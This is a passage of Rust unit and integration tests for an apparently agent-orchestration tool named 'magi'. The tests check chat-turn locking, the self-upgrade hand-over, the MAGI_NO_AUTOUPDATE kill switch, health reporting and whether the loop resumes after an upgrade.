18775 let refusal = if ready.is_ok() {
18778 let before = consult_snapshot(&ui, &q, &id);
18779 let result = talk_say(
18780 State(Arc::clone(&ui)),
18781 Path(id.clone()),
18782 Ok(Json(NewTalkTurn {
18783 reply_to: None,
18784 text: "another message".to_owned(),
18785 attachments: Vec::new(),
18786 })),
18787 )
18788 .await;
18789 Some((result, before, consult_snapshot(&ui, &q, &id)))
18790 } else {
18791 None
18792 };
18793 std::fs::write(&release, "").expect("release agent");
18794 let done = turn.await.expect("join CLI turn");
18795 ready.expect("agent started before deadline");
18796 let (result, before, after) = refusal.expect("web request");
18797 let error = result.expect_err("web must refuse the CLI's turn");
18798 assert_eq!(error.status, StatusCode::CONFLICT);
18799 assert!(error.message.contains("a turn is already running"));
18800 assert_eq!(
18801 after, before,
18802 "refusal preserves question, draft and history"
18803 );
18804 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
18805 let guard = ui
18806 .begin_talk_turn(&id)
18807 .expect("web claim")
18808 .expect("free again");
18809 drop(guard);
18810 }
18811
18812 #[test]
18813 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
18814 let home = TempDir::new().expect("temp home");
18815 let talks = Talks::at(home.path().join("talks"));
18816 let ui = Ui::new(
18817 Queue::at(home.path().join("queue")),
18818 Questions::at(home.path().join("questions")),
18819 talks.clone(),
18820 home.path().join("runs"),
18821 home.path().to_path_buf(),
18822 PathBuf::from("/repo"),
18823 )
18824 .with_worktrees_root(home.path().join("wt"));
18825 let id = "20260901-000000-order";
18826 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
18827 let slots = ui.talk_turns.lock().unwrap();
18829 let dropper = std::thread::spawn(move || drop(turn));
18830 let start = std::time::Instant::now();
18831 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
18832 std::thread::sleep(Duration::from_millis(5));
18833 }
18834 assert!(!talks.turn_held(id), "the lease is released first");
18835 assert!(slots.live.contains(id), "the slot is still held meanwhile");
18836 drop(slots);
18837 dropper.join().expect("join");
18838 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
18839 }
18840
18841 #[tokio::test]
18842 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
18843 let fx = Fixture::start().await;
18844 let mut beat = crate::daemon::Status::new();
18848 beat.pid = 4321;
18849 beat.updated_at = jiff::Timestamp::now();
18850 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18851 .expect("publish a heartbeat");
18852
18853 let res = fx.post("/api/upgrade", None).await;
18854 assert_eq!(res.status, 409);
18855 let err = res.json()["error"].as_str().unwrap().to_owned();
18856 assert!(err.contains("4321"), "the refusal names the owner: {err}");
18857 assert!(err.contains("old one against the same queue"), "{err}");
18858 }
18859
18860 #[test]
18867 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
18868 assert!(!should_spawn_recheck(&crate::config::Update {
18869 mode: UpdateMode::Off,
18870 interval: None,
18871 }));
18872
18873 unsafe {
18876 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18877 }
18878 let killed = should_spawn_recheck(&crate::config::Update {
18879 mode: UpdateMode::Notify,
18880 interval: None,
18881 });
18882 unsafe {
18883 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18884 }
18885 assert!(
18886 !killed,
18887 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
18888 one-time startup check"
18889 );
18890
18891 assert!(should_spawn_recheck(&crate::config::Update {
18892 mode: UpdateMode::Notify,
18893 interval: None,
18894 }));
18895 }
18896
18897 #[test]
18903 fn recheck_poll_period_tracks_a_short_configured_interval() {
18904 let short = crate::config::Update {
18905 mode: UpdateMode::Notify,
18906 interval: Some("1m".to_owned()),
18907 };
18908 let period = recheck_poll_period(&short);
18909 assert!(
18910 period <= Duration::from_secs(30),
18911 "a one-minute interval must wake the task far sooner than the \
18912 default ceiling, or the deck would not notice within the \
18913 interval the operator configured: got {period:?}"
18914 );
18915
18916 let default = crate::config::Update {
18917 mode: UpdateMode::Notify,
18918 interval: None,
18919 };
18920 assert_eq!(
18921 recheck_poll_period(&default),
18922 UPDATE_RECHECK_POLL_MAX,
18923 "the default day-long interval should poll at the (capped) \
18924 ceiling rather than needlessly often"
18925 );
18926 }
18927
18928 #[test]
18936 fn recheck_skips_the_network_before_the_interval_elapses() {
18937 let dir = TempDir::new().expect("temp dir");
18938 let path = dir.path().join("state.json");
18939 let state = kaishin::UpdateCheckState {
18940 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
18941 last_known_latest: None,
18942 last_known_url: None,
18943 };
18944 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
18945
18946 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
18947 assert!(
18948 !update_recheck_due(&checker, None),
18949 "a check made moments ago must not be repeated before the \
18950 configured interval elapses"
18951 );
18952 }
18953
18954 #[test]
18960 fn recheck_defers_to_an_upgrade_already_in_flight() {
18961 let dir = TempDir::new().expect("temp dir");
18962 let path = dir.path().join("state.json");
18963 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
18964 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
18965
18966 assert!(
18967 !update_recheck_due(&checker, Some(&progress)),
18968 "a recheck must not run while an upgrade this deck started is \
18969 still moving"
18970 );
18971 }
18972
18973 #[tokio::test]
18974 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
18975 unsafe {
18987 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
18988 }
18989 let fx = Fixture::start().await;
18990 let res = fx.post("/api/upgrade", None).await;
18991 unsafe {
18992 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
18993 }
18994 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
18995 let body = res.json();
18996 assert!(body["to"].is_null(), "there was no release to move to");
18997 assert!(body["parked"].is_null(), "and nothing was parked");
18998 assert!(
18999 body["detail"]
19000 .as_str()
19001 .unwrap()
19002 .contains("disabled by MAGI_NO_AUTOUPDATE"),
19003 "{body:?}"
19004 );
19005 }
19006
19007 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
19008 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19009 p.stage = stage;
19010 p
19011 }
19012
19013 #[test]
19014 fn busy_stages_match_the_ui_set() {
19015 use crate::updater::Stage;
19016 assert!(APP_JS.contains(
19017 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19018 ));
19019 for s in [
19020 Stage::Downloading,
19021 Stage::Replaced,
19022 Stage::Parking,
19023 Stage::Restarting,
19024 ] {
19025 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19026 }
19027 for s in [Stage::Done, Stage::Failed] {
19028 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
19029 }
19030 assert!(upgrade_in_motion(None).is_none());
19031 }
19032
19033 #[tokio::test]
19034 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
19035 use crate::updater::Stage;
19036 for stage in [
19037 Stage::Downloading,
19038 Stage::Replaced,
19039 Stage::Parking,
19040 Stage::Restarting,
19041 ] {
19042 let fx = Fixture::start().await;
19043 let seeded = seeded_progress(stage);
19044 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
19045 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19046 .expect("read");
19047
19048 let res = fx.post("/api/upgrade", None).await;
19049 assert_eq!(res.status, 409, "{stage:?}");
19050 let err = res.json()["error"].as_str().unwrap().to_owned();
19051 assert!(err.contains("already in progress"), "{err}");
19052 assert!(err.contains(stage.as_str()), "{err}");
19053
19054 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
19055 .expect("read");
19056 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
19057 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
19058 .unwrap_or_default();
19059 assert!(!log.contains("signalling HANDOVER"), "{log}");
19060 }
19061 }
19062
19063 #[tokio::test]
19064 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
19065 use crate::updater::Stage;
19066 let repo = TempDir::new().expect("repo dir");
19067 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19068 .expect("write magi.toml");
19069 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19070 for stage in [Stage::Done, Stage::Failed] {
19071 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
19072 let res = fx.post("/api/upgrade", None).await;
19073 assert_eq!(res.status, 200, "{stage:?}");
19074 }
19075 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
19077 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
19078 }
19079
19080 #[tokio::test]
19081 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
19082 let repo = TempDir::new().expect("repo dir");
19098 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19099 .expect("write magi.toml");
19100 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19101
19102 let res = fx.post("/api/upgrade", None).await;
19108 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
19109 let body = res.json();
19110 assert!(body["to"].is_null(), "there was no release to move to");
19111 assert!(body["parked"].is_null(), "and nothing was parked");
19112 assert!(
19113 body["detail"]
19114 .as_str()
19115 .unwrap()
19116 .contains("nothing restarted"),
19117 "{body:?}"
19118 );
19119 }
19120
19121 #[tokio::test]
19122 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
19123 let repo = TempDir::new().expect("repo dir");
19128 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
19129 .expect("write magi.toml");
19130 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
19131
19132 let health = fx.get("/api/health").await.json();
19133 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
19134 assert_eq!(
19135 health["update"]["available"], false,
19136 "checking is off, which reads as \"unknown\", not \"none\""
19137 );
19138 assert!(health["update"]["to"].is_null());
19139 assert!(
19140 health["upgrade"].is_null(),
19141 "nothing has ever asked this deck to upgrade"
19142 );
19143 }
19144
19145 #[tokio::test]
19146 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
19147 let fx = Fixture::start().await;
19148 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
19149
19150 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19151 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19152 progress.advance(crate::updater::Stage::Parking);
19153 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19154
19155 let health = fx.get("/api/health").await.json();
19156 assert_eq!(health["upgrade"]["stage"], "parking");
19157 assert_eq!(health["upgrade"]["from"], "0.5.1");
19158 assert_eq!(health["upgrade"]["to"], "0.5.2");
19159 let waiting_on = health["upgrade"]["waiting_on"]
19160 .as_str()
19161 .expect("waiting_on is set while parking a known run");
19162 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19163 assert!(waiting_on.contains("implementing"), "{waiting_on}");
19164 }
19165
19166 #[tokio::test]
19167 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
19168 let fx = Fixture::start().await;
19169 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19170 progress.advance(crate::updater::Stage::Done);
19171 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19172
19173 let health = fx.get("/api/health").await.json();
19174 assert_eq!(health["upgrade"]["stage"], "done");
19175 assert!(
19176 health["upgrade"]["waiting_on"].is_null(),
19177 "nothing to wait on once it is done"
19178 );
19179 }
19180
19181 #[tokio::test]
19182 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
19183 let home = TempDir::new().expect("temp home");
19184 let runs = home.path().join("runs");
19185 std::fs::create_dir_all(&runs).expect("runs dir");
19186 let ui = Ui::new(
19187 Queue::at(home.path().join("queue")),
19188 Questions::at(home.path().join("questions")),
19189 Talks::at(home.path().join("talks")),
19190 runs,
19191 home.path().to_path_buf(),
19192 PathBuf::from("/repo/magi"),
19193 )
19194 .with_launch(launch_idle);
19195 let looping = ui.looping();
19196 let turns = ui.turns();
19197 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19198 .await
19199 .expect("bind loopback");
19200 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19201
19202 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19203 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19204
19205 hand_over(
19206 home.path(),
19207 &looping,
19208 &turns,
19209 &|_: &[String]| Duration::from_secs(5),
19210 served,
19211 |_| Ok(1),
19212 )
19213 .await
19214 .expect("hand over");
19215
19216 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
19217 assert_eq!(
19218 after.stage,
19219 crate::updater::Stage::Restarting,
19220 "hand_over owns the record through parking and up to restarting; \
19221 the successor is what finishes it"
19222 );
19223 }
19224
19225 #[tokio::test]
19228 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
19229 for fail in [false, true] {
19230 let home = TempDir::new().expect("temp home");
19231 let ui = idle_ui(&home);
19232 let looping = ui.looping();
19233 let turns = ui.turns();
19234 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19235 .await
19236 .expect("bind loopback");
19237 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19238 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19239 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19240
19241 let calls = std::sync::atomic::AtomicUsize::new(0);
19242 let outcome = hand_over(
19243 home.path(),
19244 &looping,
19245 &turns,
19246 &|_: &[String]| Duration::from_secs(5),
19247 served,
19248 |_| {
19249 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19250 if fail {
19251 anyhow::bail!("no exec")
19252 } else {
19253 Ok(4242)
19254 }
19255 },
19256 )
19257 .await;
19258 assert_eq!(outcome.is_err(), fail);
19259 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19260
19261 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
19262 .expect("upgrade.log is written under the home");
19263 for step in [
19264 "entered",
19265 "finish_loop",
19266 "listener released",
19267 "starting the successor",
19268 ] {
19269 assert!(log.contains(step), "missing `{step}` in:\n{log}");
19270 }
19271 assert!(
19272 log.contains(if fail { "did not start" } else { "pid 4242" }),
19273 "{log}"
19274 );
19275 }
19276 }
19277
19278 #[tokio::test]
19281 async fn the_handover_signal_wakes_one_waiter_once() {
19282 let signal = Notify::new();
19283 signal.notify_one();
19285 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
19286 .await
19287 .expect("an early signal is still seen");
19288 assert!(
19290 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
19291 .await
19292 .is_err(),
19293 "a consumed signal must not wake a second time"
19294 );
19295 let signal = std::sync::Arc::new(signal);
19297 let waiter = tokio::spawn({
19298 let signal = std::sync::Arc::clone(&signal);
19299 async move { wait_for_handover(&signal).await }
19300 });
19301 tokio::time::sleep(Duration::from_millis(20)).await;
19302 assert!(!waiter.is_finished(), "nothing was signalled yet");
19303 signal.notify_one();
19304 tokio::time::timeout(Duration::from_secs(5), waiter)
19305 .await
19306 .expect("a late signal wakes the waiter")
19307 .expect("join");
19308 }
19309
19310 #[tokio::test]
19311 async fn health_says_how_long_a_handover_has_been_stuck() {
19312 let fx = Fixture::start().await;
19313 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19314 progress.advance(crate::updater::Stage::Replaced);
19315 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
19316 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19317
19318 let health = fx.get("/api/health").await.json();
19319 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
19320 assert!(stuck >= 600, "{stuck}");
19321 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
19322 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
19323 }
19324
19325 #[tokio::test]
19326 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
19327 let home = tempfile::tempdir().expect("temp home");
19328 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19329 progress.advance(crate::updater::Stage::Parking);
19330 crate::updater::write_progress(home.path(), &progress).expect("seed");
19331 let mut again = progress.clone();
19333 again.advance(crate::updater::Stage::Replaced);
19334 crate::updater::write_progress(home.path(), &again).expect("replaced");
19335 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19336 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
19337 let after = crate::updater::read_progress(home.path()).expect("record");
19338 assert_eq!(after.stage, crate::updater::Stage::Parking);
19339 }
19340
19341 #[tokio::test]
19342 async fn health_does_not_call_a_live_parking_wait_stuck() {
19343 let fx = Fixture::start().await;
19344 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19345 progress.parked_run = Some("20260905-000000-cd51".to_owned());
19346 progress.advance(crate::updater::Stage::Parking);
19347 let hours = Duration::from_secs(3 * 3600);
19348 progress.started_at = Timestamp::now() - hours;
19349 progress.updated_at = Timestamp::now() - hours;
19350 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
19351 let _lease = crate::updater::LeaseGuard::enter(
19352 fx.home.path(),
19353 Some("20260905-000000-cd51".to_owned()),
19354 );
19355
19356 let health = fx.get("/api/health").await.json();
19357 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
19358 assert!(health["upgrade"]["stuck_kind"].is_null());
19359 assert_eq!(health["upgrade"]["handover_alive"], true);
19360 let waiting_on = health["upgrade"]["waiting_on"]
19361 .as_str()
19362 .expect("waiting_on");
19363 assert!(waiting_on.contains("cd51"), "{waiting_on}");
19364 }
19365
19366 fn idle_ui(home: &TempDir) -> Ui {
19367 let runs = home.path().join("runs");
19368 std::fs::create_dir_all(&runs).expect("runs dir");
19369 Ui::new(
19370 Queue::at(home.path().join("queue")),
19371 Questions::at(home.path().join("questions")),
19372 Talks::at(home.path().join("talks")),
19373 runs,
19374 home.path().to_path_buf(),
19375 PathBuf::from("/repo/magi"),
19376 )
19377 .with_launch(launch_idle)
19378 }
19379
19380 async fn park_fixture(
19381 home: &TempDir,
19382 ) -> (
19383 Ui,
19384 Arc<Mutex<LoopState>>,
19385 Arc<Mutex<TalkTurns>>,
19386 tokio::task::JoinHandle<std::io::Result<()>>,
19387 ) {
19388 let ui = idle_ui(home);
19389 let looping = ui.looping();
19390 let turns = ui.turns();
19391 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19392 .await
19393 .expect("bind loopback");
19394 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
19395 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
19396 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
19397 (ui, looping, turns, served)
19398 }
19399
19400 #[tokio::test]
19404 async fn hand_over_waits_for_a_running_chat_turn() {
19405 let home = TempDir::new().expect("temp home");
19406 let (ui, looping, turns, served) = park_fixture(&home).await;
19407 let ui = Arc::new(ui);
19408 let id = "20260901-000000-chat";
19409 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19410
19411 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19412 let handover = tokio::spawn({
19413 let home = home.path().to_path_buf();
19414 let turns = Arc::clone(&turns);
19415 let calls = Arc::clone(&calls);
19416 async move {
19417 hand_over(
19418 &home,
19419 &looping,
19420 &turns,
19421 &|_: &[String]| Duration::from_secs(60),
19422 served,
19423 move |_| {
19424 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19425 Ok(1)
19426 },
19427 )
19428 .await
19429 }
19430 });
19431
19432 let waiting = async {
19433 for _ in 0..200 {
19434 if crate::updater::read_progress(home.path())
19435 .is_some_and(|p| p.parked_talks == [id.to_owned()])
19436 {
19437 return;
19438 }
19439 tokio::time::sleep(Duration::from_millis(25)).await;
19440 }
19441 panic!("the park never named the chat turn");
19442 };
19443 waiting.await;
19444 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19445
19446 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19449 assert!(
19450 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19451 "a direct start says an upgrade is in progress"
19452 );
19453 assert!(
19454 ui.begin_queued_talk_turn("20260901-000000-late")
19455 .expect("queued claim")
19456 .is_none()
19457 );
19458 assert!(matches!(
19459 ui.begin_talk_turn_unless_pending("20260901-000000-late")
19460 .expect("start"),
19461 TalkTurnStart::Busy
19462 ));
19463 assert_eq!(turns.lock().unwrap().live.len(), 1);
19464
19465 let progress = crate::updater::read_progress(home.path()).expect("progress");
19467 let view = upgrade_progress_view(&ui, progress);
19468 assert!(
19469 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
19470 "{:?}",
19471 view.waiting_on
19472 );
19473
19474 assert!(!handover.is_finished());
19475 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19476 drop(turn);
19477 handover.await.expect("join").expect("hand over");
19478 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19479 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19480 }
19481
19482 #[tokio::test]
19485 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
19486 let home = TempDir::new().expect("temp home");
19487 let (ui, looping, turns, served) = park_fixture(&home).await;
19488 let ui = Arc::new(ui);
19489 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
19491 lock_or_recover(&looping).live = Some(Live {
19492 stop: daemon::Stop::new(),
19493 handle: tokio::spawn(async move {
19494 let _ = loop_ended.await;
19495 }),
19496 opts: daemon::Opts::default(),
19497 });
19498
19499 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
19500 let handover = tokio::spawn({
19501 let home = home.path().to_path_buf();
19502 let turns = Arc::clone(&turns);
19503 let calls = Arc::clone(&calls);
19504 async move {
19505 hand_over(
19506 &home,
19507 &looping,
19508 &turns,
19509 &|_: &[String]| Duration::from_secs(60),
19510 served,
19511 move |_| {
19512 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19513 Ok(1)
19514 },
19515 )
19516 .await
19517 }
19518 });
19519
19520 let reached = async {
19521 for _ in 0..200 {
19522 if crate::updater::read_progress(home.path())
19523 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
19524 {
19525 return;
19526 }
19527 tokio::time::sleep(Duration::from_millis(25)).await;
19528 }
19529 panic!("the hand-over never reached parking");
19530 };
19531 reached.await;
19532
19533 assert!(!turns.lock().unwrap().parking);
19535 let turn = ui
19536 .begin_talk_turn("20260901-000000-chat")
19537 .expect("claim")
19538 .expect("a turn can start while the loop parks");
19539
19540 end_loop.send(()).expect("loop still waiting");
19542 for _ in 0..200 {
19543 if turns.lock().unwrap().parking {
19544 break;
19545 }
19546 tokio::time::sleep(Duration::from_millis(25)).await;
19547 }
19548 assert!(
19549 turns.lock().unwrap().parking,
19550 "closed once the loop is done"
19551 );
19552 let refused = ui.begin_talk_turn("20260901-000000-late").err();
19553 assert!(
19554 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
19555 "no turn starts once the loop is done"
19556 );
19557 assert!(
19558 ui.begin_queued_talk_turn("20260901-000000-late")
19559 .expect("queued claim")
19560 .is_none()
19561 );
19562 assert!(!handover.is_finished());
19563 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
19564
19565 drop(turn);
19566 handover.await.expect("join").expect("hand over");
19567 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19568 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
19569 }
19570
19571 #[tokio::test]
19574 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
19575 let home = TempDir::new().expect("temp home");
19576 let (ui, looping, turns, served) = park_fixture(&home).await;
19577 let id = "20260901-000000-stuk";
19578 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
19579
19580 let calls = std::sync::atomic::AtomicUsize::new(0);
19581 hand_over(
19582 home.path(),
19583 &looping,
19584 &turns,
19585 &|_: &[String]| Duration::from_millis(300),
19586 served,
19587 |_| {
19588 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
19589 Ok(1)
19590 },
19591 )
19592 .await
19593 .expect("hand over");
19594 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
19595
19596 let progress = crate::updater::read_progress(home.path()).expect("progress");
19597 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
19598 assert!(
19599 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
19600 "{:?}",
19601 progress.detail
19602 );
19603 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
19604 assert!(
19605 log.contains("handing over anyway") && log.contains(id),
19606 "{log}"
19607 );
19608 }
19609
19610 #[tokio::test]
19613 async fn drain_loop_starts_no_turn_while_parking() {
19614 let tmp = TempDir::new().expect("tempdir");
19615 let repo = tmp.path().join("repo");
19616 std::fs::create_dir_all(&repo).expect("repo dir");
19617 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
19618 let home = TempDir::new().expect("temp home");
19619 let talks = Talks::at(home.path().join("talks"));
19620 let ui = Ui::new(
19621 Queue::at(home.path().join("queue")),
19622 Questions::at(home.path().join("questions")),
19623 talks.clone(),
19624 home.path().join("runs"),
19625 home.path().to_path_buf(),
19626 repo.clone(),
19627 )
19628 .with_worktrees_root(home.path().join("wt"));
19629 let cfg = config_for(&repo).await.expect("discover config");
19630 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
19631 let id = talk.id.clone();
19632 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
19633 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
19634 let turns = ui.turns();
19635 let parking = ParkingTurns::begin(&turns);
19636
19637 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
19638
19639 assert!(
19640 turns.lock().unwrap().live.is_empty(),
19641 "the slot is given up"
19642 );
19643 let fresh = talks.get(&id).expect("talk");
19644 assert_eq!(fresh.pending, "later", "the draft is still queued");
19645 assert!(fresh.turns.is_empty(), "no turn ran");
19646 drop(parking);
19647 }
19648
19649 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
19651 let looping = ui.looping();
19652 let turns = ui.turns();
19653 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
19654 .await
19655 .expect("bind loopback");
19656 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
19657 let told = std::sync::Mutex::new(None);
19658 hand_over(
19659 home.path(),
19660 &looping,
19661 &turns,
19662 &|_: &[String]| Duration::from_secs(5),
19663 served,
19664 |resume| {
19665 *told.lock().unwrap() = Some(resume);
19666 Ok(1)
19667 },
19668 )
19669 .await
19670 .expect("hand over");
19671 told.into_inner().unwrap().expect("successor was started")
19672 }
19673
19674 #[tokio::test]
19675 async fn a_running_loop_is_resumed_by_the_successor() {
19676 let home = TempDir::new().expect("temp home");
19677 let ui = idle_ui(&home);
19678 ui.start_loop(None).expect("start");
19679 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19680 for _ in 0..500 {
19682 if !ui.loop_view(None).running {
19683 break;
19684 }
19685 tokio::time::sleep(Duration::from_millis(2)).await;
19686 }
19687 assert!(handed_over(&home, ui).await, "a running loop must resume");
19688
19689 let successor = idle_ui(&home);
19690 assert!(!successor.loop_view(None).running);
19691 assert!(successor.resume_after_handover(true));
19692 assert!(successor.loop_view(None).running);
19693 successor.stop_loop(None, false).expect("stop");
19694 }
19695
19696 #[tokio::test]
19697 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19698 let home = TempDir::new().expect("temp home");
19699 let ui = idle_ui(&home);
19700 ui.start_loop(None).expect("start");
19701 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19702 .expect("first park");
19703 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19704 .expect("second park");
19705 assert!(handed_over(&home, ui).await);
19706 }
19707
19708 #[tokio::test]
19709 async fn a_stop_during_the_handover_wait_is_honoured() {
19710 let home = TempDir::new().expect("temp home");
19711 let ui = idle_ui(&home);
19712 ui.start_loop(None).expect("start");
19713 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19714 ui.stop_loop(None, false).expect("stop");
19715 assert!(!handed_over(&home, ui).await);
19716 }
19717
19718 #[tokio::test]
19719 async fn an_idle_loop_stays_stopped_across_the_handover() {
19720 let home = TempDir::new().expect("temp home");
19721 let ui = idle_ui(&home);
19722 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19723 assert!(!handed_over(&home, ui).await);
19724
19725 let successor = idle_ui(&home);
19726 assert!(!successor.resume_after_handover(false));
19727 assert!(!successor.loop_view(None).running);
19728 }
19729
19730 #[tokio::test]
19731 async fn a_loop_the_operator_stopped_is_not_resumed() {
19732 let home = TempDir::new().expect("temp home");
19733 let ui = idle_ui(&home);
19734 ui.start_loop(None).expect("start");
19735 ui.stop_loop(None, false).expect("stop");
19736 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19737 assert!(!handed_over(&home, ui).await);
19738 }
19739
19740 #[test]
19741 fn only_an_explicit_one_requests_a_resume() {
19742 assert!(!resume_requested(None));
